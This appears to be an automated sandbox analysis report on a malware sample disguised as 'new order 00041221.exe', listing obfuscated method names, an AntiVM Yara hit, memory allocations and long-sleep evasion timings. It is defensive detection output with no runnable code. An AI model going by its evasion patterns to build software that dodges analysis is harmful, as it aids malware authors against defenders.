Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, PIIQJlCPLLSpQvTcKh.cs	High entropy of concatenated method names: 'b4GqyFWMdu', 'AfAqX6BqTP', 'ONFqFuTCFb', 'cCHqdTZVgh', 'eMVqLEAHQ3', 'iSpFMvLFvV', 'R9RFgeiQ7D', 'D7NFBRGC3o', 'vO1F2beHyp', 'CcWF3y8wEN'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, GYgZrNuv1RLjrByTBp.cs	High entropy of concatenated method names: 'iuwdnHRsSL', 'QSMd1F3EnS', 'KJddqi2bQf', 'lwKqHsatdr', 'XY8qzqC01e', 'lu0dV442ey', 'of0dQ67e9b', 'GnEdEGwfuG', 'gk2dcRFu0Z', 'pKvdPIspOA'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, hoHp1pQctWiW4gDnx50.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'tsAZTNw5uf', 'uYcZpVy21l', 'n6aZKsjMAm', 'GDwZAyOhkQ', 'WoaZMv3tJE', 'gutZgOrcEU', 'BvsZBefRFc'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, EOaFyVT7LVLL2nf3aa.cs	High entropy of concatenated method names: 'QKq9GO9fTr', 'gyD9i53UBx', 'p2P9TW5cah', 'gms9pywHhM', 'dLy9am6YKj', 'Wnr9sI7qFF', 'x8A9hHXUN5', 't6m9tsNGWd', 'QGQ9eMPTLG', 'rti9upkk4l'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, AqI0NT2diOTHy7sR0b.cs	High entropy of concatenated method names: 'tuV4nyOFRM', 'y6F4Xp7hNv', 'bmD41et1gl', 'UIY4FicyPl', 'TGo4q7HxGK', 'bQs4dAEteO', 'Yf14LiYr7Z', 'Dxn4vQZICO', 'dLt46E79RC', 'JoG4r6bHYo'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, GXXJusPBLvRYKwa80t.cs	High entropy of concatenated method names: 'R32QdWoXcR', 'feeQLctu4W', 'HOxQ6eGOQE', 'eJMQrlq8D6', 'WsSQ90ZiII', 'bJlQbPLLSp', 'NnsoucCHxhjAwZMhmt', 'YGMTVDOjmS5iXELVeW', 'dmmQQah407', 'SgrQc2WkMG'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, UNqWbw3JDl6LusN8wK.cs	High entropy of concatenated method names: 'Kjx4CvxSgn', 'ypk4aUWCm1', 'mlS4suMWec', 'dNl4h5XYDT', 'avw4T5rcsq', 'MqE4t5ZWy0', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, DsmWQqH9ImqBkLuxMX.cs	High entropy of concatenated method names: 's9l8QCne5F', 'tjm8cvEgBE', 'DKB8PFkg0y', 'nwv8nxfSyE', 'LY88Xj82vM', 'zPt8FCqvDF', 'FIp8qBvDyt', 'bcB4BXeTTW', 'NR4421EPwJ', 'PLL434vFq2'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, bdkeCrEVO5b4aL692H.cs	High entropy of concatenated method names: 'I8EwZfp6c', 'pUJU8T80o', 'AadmniBuO', 't2cR03kQc', 'oTVDWbFOM', 'ItkWLWrx1', 'X6e2a2abtuTE5Bm115', 'bcVhaRQTvD5v2RDGdp', 'U314W1CEr', 'oCHZooEr4'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, P6MW4SQV1ZS9x9j2kD1.cs	High entropy of concatenated method names: 'XQK8OFv8Gd', 'vXR8jmwba6', 'SIS8wCjfnD', 'aVL8UZhaRv', 'Epq8x4uoDE', 'P0U8meJxAG', 'y288RW4Hr9', 'Ard8NsxcSb', 'HLs8DQc3WI', 'bdq8WFJSKe'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, GO6JcJXsuV8AKf3A4i.cs	High entropy of concatenated method names: 'Dispose', 'bcRQ3ZkbIi', 'OMxEaZsbQ7', 'cNqUUWQuGV', 'nUqQHI0NTd', 'POTQzHy7sR', 'ProcessDialogKey', 'wbMEVNqWbw', 'QDlEQ6LusN', 'rwKEENsmWQ'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, i8D6JcW7rn00w2sS0Z.cs	High entropy of concatenated method names: 'Qd6Fx6BdST', 'cFgFR2Zn1M', 'BLd1s1n3JR', 'qKK1hqcd29', 'gh31tEIYRV', 'aug1eNL3oL', 'Sle1u2sA8l', 'TwD1lvAuXd', 'DYh1oHpr3v', 'lEU1GAIYf2'

Source: C:\Users\user\Desktop\new order 00041221.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: new order 00041221.exe PID: 1000, type: MEMORYSTR

Source: C:\Users\user\Desktop\new order 00041221.exe	Memory allocated: B50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Memory allocated: 2850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Memory allocated: 2580000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Memory allocated: 6D40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Memory allocated: 7D40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Memory allocated: 7FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Memory allocated: 8FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Memory allocated: 1270000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Memory allocated: 2EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598461	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597569	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597447	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597336	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596961	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596823	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596588	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596318	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 596165	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595653	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595433	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594374	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594266	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594156	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 594047	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 593937	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 593828	Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe	Window / User API: threadDelayed 7356			Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Window / User API: threadDelayed 2473			Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe TID: 4296	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7388	Thread sleep count: 7356 > 30	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7388	Thread sleep count: 2473 > 30	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -598461s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -598016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -597569s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -597447s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -597336s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -597219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -597094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -596961s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -596823s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -596588s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -596318s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -596165s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -595844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -595653s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -595547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -595433s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -595313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -595188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -595063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -594938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -594828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -594719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -594594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -594484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -594374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -594266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -594156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -594047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -593937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe TID: 7380	Thread sleep time: -593828s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Thread delayed: delay time: 599218	Jump to behavior
